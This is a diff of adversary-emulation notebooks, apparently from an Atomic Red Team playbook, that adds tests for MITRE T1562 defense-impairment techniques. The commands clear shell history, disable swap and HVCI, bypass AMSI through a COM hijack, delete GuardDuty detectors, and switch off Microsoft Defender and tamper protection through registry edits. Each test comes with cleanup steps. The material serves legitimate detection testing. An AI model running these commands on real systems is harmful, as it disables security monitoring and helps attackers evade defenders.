\"%temp%\\Windows_Defender_Scheduled_Scan.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" > \"%temp%\\Windows_Defender_Cleanup.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" > \"%temp%\\Windows_Defender_Verification.xml\"\nschtasks /query /xml /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" > \"%temp%\\Windows_Defender_Cache_Maintenance.xml\"\n\n```" }, { "cell_type": "code", "execution_count": null, - "id": "8125c97e", + "id": "f8323024", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 38 -GetPreReqs" }, { "cell_type": "markdown", - "id": "aed68e02", + "id": "bf5379ec", "metadata": {}, "source": [ "#### Attack Commands: Run with `command_prompt`\n", @@ -1287,28 +1287,391 @@ { "cell_type": "code", "execution_count": null, - "id": "d58c82c7", + "id": "91616196", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 38" }, { "cell_type": "markdown", - "id": "09836c13", + "id": "5e837976", "metadata": {}, "source": "#### Cleanup: \n```cmd\nschtasks /create /xml \"%temp%\\Windows_Defender_Scheduled_Scan.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Scheduled Scan\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cleanup.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cleanup\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Verification.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Verification\" /f\nschtasks /create /xml \"%temp%\\Windows_Defender_Cache_Maintenance.xml\" /tn \"\\Microsoft\\Windows\\Windows Defender\\Windows Defender Cache Maintenance\" /f\n```" }, { "cell_type": "code", "execution_count": null, - "id": "6a54f17d", + "id": "eb772bc1", "metadata": {}, "outputs": [], "source": "Invoke-AtomicTest T1562.001 -TestNumbers 38 -Cleanup" }, { "cell_type": "markdown", - "id": "dac4e432", + "id": "464806a5", + "metadata": {}, + "source": [ + "### Atomic Test #39 - Clear History", + "Clear Shell History. This technique only affect the bash shell application. \n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nhistory -c\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "faa33c4a", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 39" + }, + { + "cell_type": "markdown", + "id": "d390429f", + "metadata": {}, + "source": [ + "### Atomic Test #40 - Suspend History", + "suspend Shell History seen in Awfulshred wiper- https://unix.stackexchange.com/questions/10922/temporarily-suspend-bash-history-on-a-given-shell\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nset +o history\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "746bea51", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 40" + }, + { + "cell_type": "markdown", + "id": "1be444a9", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nset -o history\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2f2ba9ab", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 40 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "5fcc9989", + "metadata": {}, + "source": [ + "### Atomic Test #41 - Reboot Linux Host via Kernel System Request", + "reboot system via system request seen in Awfulshred wiper.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\necho 1> /proc/sys/kernel/sysrq \necho b> /proc/sysrq-trigger \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "4791ac33", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 41" + }, + { + "cell_type": "markdown", + "id": "14520fdd", + "metadata": {}, + "source": [ + "### Atomic Test #42 - Clear Pagging Cache", + "clear pagging cache via system request. This is a temporary change in the system to clear paging cache. This technique seen in Awfulshred wiper as part\nof its malicious payload on the compromised host. added reference link for this technique: https://www.tecmint.com/clear-ram-memory-cache-buffer-and-swap-space-on-linux/\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nfree && echo 3 > /proc/sys/vm/drop_caches && free\necho 3> /proc/sys/vm/drop_caches \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f4516f2d", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 42" + }, + { + "cell_type": "markdown", + "id": "642644c2", + "metadata": {}, + "source": [ + "### Atomic Test #43 - Disable Memory Swap", + "disable swapping of device paging that impaire the compromised host to swap data if the RAM is full. Awfulshred wiper used this technique as an additional \npayload to the compromised host and to make sure that there will be no recoverable data due to swap feature of FreeBSD/linux.\n", + "**Supported Platforms:** linux", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nswapon -a \nsleep 2\nswapoff -a\nsync\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "77127858", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 43" + }, + { + "cell_type": "markdown", + "id": "9c6c0c0a", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nswapon -a\nsleep 2\nsync\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "db7f58a4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 43 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "3c886f72", + "metadata": {}, + "source": "### Atomic Test #44 - Disable Hypervisor-Enforced Code Integrity (HVCI)\nThis test disables Hypervisor-Enforced Code Integrity (HVCI) by setting the registry key HKLM:\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity \"Enabled\" value to \"0\".\nThe pre-req needs to be ran in order to setup HVCI and have it enabled. \nWe do not recommend running this in production.\n[Black Lotus Campaign](https://www.microsoft.com/en-us/security/blog/2023/04/11/guidance-for-investigating-attacks-using-cve-2022-21894-the-blacklotus-campaign/)\n[Microsoft](https://learn.microsoft.com/en-us/windows/security/threat-protection/device-guard/enable-virtualization-based-protection-of-code-integrity)\n\n**Supported Platforms:** windows\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `powershell`!\n##### Description: HVCI must be enabled\n\n##### Check Prereq Commands:\n```powershell\nif (((cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" 2> nul | findstr EnableVirtualizationBasedSecurity 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" 2> nul | findstr RequirePlatformSecurityFeatures 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" 2> nul | findstr Locked 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" 2> nul | findstr Enabled 2> nul\") -and (cmd.exe /c \"reg query \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" 2> nul | findstr Locked 2> nul\"))) { exit 0 } else { exit 1 }\n\n```\n##### Get Prereq Commands:\n```powershell\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /t REG_DWORD /d 0 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 1 /f\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /t REG_DWORD /d 0 /f\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "b0b6c527", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 44 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "61ddd8ec", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nreg add \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /t REG_DWORD /d 0 /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "994ddaaa", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 44" + }, + { + "cell_type": "markdown", + "id": "929d3cf2", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"EnableVirtualizationBasedSecurity\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"RequirePlatformSecurityFeatures\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\" /v \"Locked\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Enabled\" /f\nreg delete \"HKLM\\SYSTEM\\CurrentControlSet\\Control\\DeviceGuard\\Scenarios\\HypervisorEnforcedCodeIntegrity\" /v \"Locked\" /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "58c9f277", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 44 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "c9d5fc00", + "metadata": {}, + "source": [ + "### Atomic Test #45 - AMSI Bypass - Override AMSI via COM", + "With administrative rights, an adversary can disable AMSI via registry value in HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec} by overriding the Microsoft Defender COM object for AMSI and points it to a DLL that does not exist.\nThis is currently being used by AsyncRAT and others. \nhttps://strontic.github.io/xcyclopedia/library/clsid_fdb00e52-a214-4aa1-8fba-4357bb0072ec.html\nhttps://securitynews.sonicwall.com/xmlpost/asyncrat-variant-includes-cryptostealer-capabilites/\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nREG ADD HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /ve /t REG_SZ /d C:\\IDontExist.dll /f\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "39ab1427", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 45" + }, + { + "cell_type": "markdown", + "id": "3e278456", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nREG DELETE HKCU\\Software\\Classes\\CLSID\\{fdb00e52-a214-4aa1-8fba-4357bb0072ec}\\InProcServer32 /f\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6b7ea0d2", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 45 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "2027e132", + "metadata": {}, + "source": "### Atomic Test #46 - AWS - GuardDuty Suspension or Deletion\nEnables GuardDuty in AWS, upon successful creation this test will suspend and then delete the GuardDuty configuration.\n\n**Supported Platforms:** iaas:aws\n\nElevation Required (e.g. root or admin)\n#### Dependencies: Run with `bash`!\n##### Description: Check if ~/.aws/credentials file has a default stanza is configured\n\n##### Check Prereq Commands:\n```bash\ncat ~/.aws/credentials | grep \"default\"\n\n```\n##### Get Prereq Commands:\n```bash\necho \"Please install the aws-cli and configure your AWS default profile using: aws configure\"\n\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "6a2782c6", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 46 -GetPreReqs" + }, + { + "cell_type": "markdown", + "id": "d2c7e6ea", + "metadata": {}, + "source": [ + "#### Attack Commands: Run with `bash`\n", + "```bash\ndetectorId=$(aws guardduty create-detector --enable --region \"us-east-1\" | grep -oP '(?<=\"DetectorId\": \")[^\"]*')\naws guardduty update-detector --no-enable --detector-id $detectorId\naws guardduty delete-detector --detector-id $detectorId\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "2a5adc20", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 46" + }, + { + "cell_type": "markdown", + "id": "8af97791", + "metadata": {}, + "source": "#### Cleanup: \n```bash\necho \"If test successfully ran, no cleanup required.\"\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "19941e29", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 46 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "7d983ad4", + "metadata": {}, + "source": [ + "### Atomic Test #47 - Tamper with Defender ATP on Linux/MacOS", + "With root privileges, an adversary can disable real time protection. Note, this test assumes Defender is not in passive mode and real-time protection is enabled. The use of a managed.json on Linux or Defender .plist on MacOS will prevent these changes. Tamper protection will also prevent this (available on MacOS, but not Linux at the time of writing). Installation of MDATP is a prerequisite. Installation steps vary across MacOS and Linux distros. See Microsoft public documentation for instructions: https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/mac-install-manually?view=o365-worldwide https://learn.microsoft.com/en-us/microsoft-365/security/defender-endpoint/linux-install-manually?view=o365-worldwide\n", + "**Supported Platforms:** linux, macos", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `sh`\n", + "```sh\nsudo mdatp config real-time-protection --value disabled\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "03b022a8", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 47" + }, + { + "cell_type": "markdown", + "id": "4cbe1ff7", + "metadata": {}, + "source": "#### Cleanup: \n```sh\nsudo mdatp config real-time-protection --value enabled\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "89ea7073", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 47 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "ecdd57b3", + "metadata": {}, + "source": [ + "### Atomic Test #48 - Tamper with Windows Defender Registry - Reg.exe", + "Disable Windows Defender by tampering with windows defender registry using the utility \"reg.exe\"\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `command_prompt`\n", + "```command_prompt\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"1\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "f160fe65", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 48" + }, + { + "cell_type": "markdown", + "id": "f2f7e928", + "metadata": {}, + "source": "#### Cleanup: \n```cmd\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiSpyware\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\" /v \"DisableAntiVirus\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableBehaviorMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIntrusionPreventionSystem\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableIOAVProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableOnAccessProtection\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRealtimeMonitoring\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableRoutinelyTakingAction\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScanOnRealtimeEnable\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" /v \"DisableScriptScanning\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" /v \"DisableEnhancedNotifications\" /t REG_DWORD /d \"0\" /f >NUL 2>nul \nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"DisableBlockAtFirstSeen\" /t REG_DWORD /d \"0\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" /v \"SpynetReporting\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" /v \"MpEnablePus\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" /v \"DisallowExploitProtectionOverride\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\\Features\" /v \"TamperProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\software\\microsoft\\windows defender\\spynet\" /v \"SubmitSamplesConsent\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\nreg add \"HKLM\\Software\\Microsoft\\Windows Defender\" /v \"PUAProtection\" /t REG_DWORD /d \"1\" /f >NUL 2>nul\n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "afa050d4", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 48 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "d72436e3", + "metadata": {}, + "source": [ + "### Atomic Test #49 - Tamper with Windows Defender Registry - Powershell", + "Disable Windows Defender by tampering with windows defender registry through powershell\n", + "**Supported Platforms:** windows", + "\nElevation Required (e.g. root or admin)", + "#### Attack Commands: Run with `powershell`\n", + "```powershell\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiSpyware\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiVirus\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIOAVProtection\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRealtimeMonitoring\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRoutinelyTakingAction\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScriptScanning\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name \"DisableEnhancedNotifications\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"SpynetReporting\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\" -Value 0 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" -Name \"TamperProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\" -Value 0 \n```" + ] + }, + { + "cell_type": "code", + "execution_count": null, + "id": "a9c35e2b", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 49" + }, + { + "cell_type": "markdown", + "id": "2f7d1c4e", + "metadata": {}, + "source": "#### Cleanup: \n```powershell\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiSpyware\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\" -Name \"DisableAntiVirus\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableBehaviorMonitoring\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIntrusionPreventionSystem\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableIOAVProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableOnAccessProtection\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRealtimeMonitoring\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableRoutinelyTakingAction\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScanOnRealtimeEnable\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Real-Time Protection\" -Name \"DisableScriptScanning\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\Reporting\" -Name \"DisableEnhancedNotifications\" -Value 0 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"DisableBlockAtFirstSeen\" -Value 0\nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\SpyNet\" -Name \"SpynetReporting\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Policies\\Microsoft\\Windows Defender\\MpEngine\" -Name \"MpEnablePus\" -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows Defender Security Center\\App and Browser protection\" -Name \"DisallowExploitProtectionOverride\" -Value 1 \nSet-ItemProperty \"HKLM:\\SOFTWARE\\Microsoft\\Windows Defender\\Features\" -Name \"TamperProtection\" -Value 1\nSet-ItemProperty \"HKLM:\\software\\microsoft\\windows defender\\spynet\" -Name \"SubmitSamplesConsent\" -Value 1 \nSet-ItemProperty \"HKLM:\\Software\\Microsoft\\Windows Defender\" -Name \"PUAProtection\" -Value 1 \n```" + }, + { + "cell_type": "code", + "execution_count": null, + "id": "95ef651c", + "metadata": {}, + "outputs": [], + "source": "Invoke-AtomicTest T1562.001 -TestNumbers 49 -Cleanup" + }, + { + "cell_type": "markdown", + "id": "9e5de8af", "metadata": {}, "source": "## Detection\nMonitor processes and command-line arguments to see if security tools/services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Monitoring for changes to other known features used by deployed security tools may also expose malicious activity.\n\nLack of expected log events may be suspicious." } @@ -1316,13 +1679,13 @@ "metadata": { "kernelspec": { "display_name": ".NET (PowerShell)", - "language": "PowerShell", + "language": "pwsh", "name": ".net-powershell" }, "language_info": { "file_extension": ".ps1", "mimetype": "text/x-powershell", - "name": "PowerShell", + "name": "pwsh", "pygments_lexer": "powershell", "version": "7.0" } diff --git a/playbook/tactics/defense-evasion/T1562.002.ipynb b/playbook/tactics/defense-evasion/T1562.002.ipynb index 7353261d..0eb94360 100644 --- a/playbook/tactics/defense-evasion/T1562.002.ipynb +++ b/playbook/tactics/defense-evasion/T1562.002.ipynb @@ -2,19 +2,19 @@ "cells": [ { "cell_type": "markdown", - "id": "c1d03eb9", + "id": "8bd5cc8b", "metadata": {}, - "source": "# T1562.002 - Disable Windows Event Logging\nAdversaries may disable Windows event logging to limit data that can be leveraged for detections and audits. Windows event logs record user and system activity such as login attempts, process creation, and much more.(Citation: Windows Log Events) This data is used by security tools and analysts to generate detections.\n\nThe EventLog service maintains event logs from various system components and applications.(Citation: EventLog_Core_Technologies) By default, the service automatically starts when a system powers on. An audit policy, maintained by the Local Security Policy (secpol.msc), defines which system events the EventLog service logs. Security audit policy settings can be changed by running secpol.msc, then navigating to Security 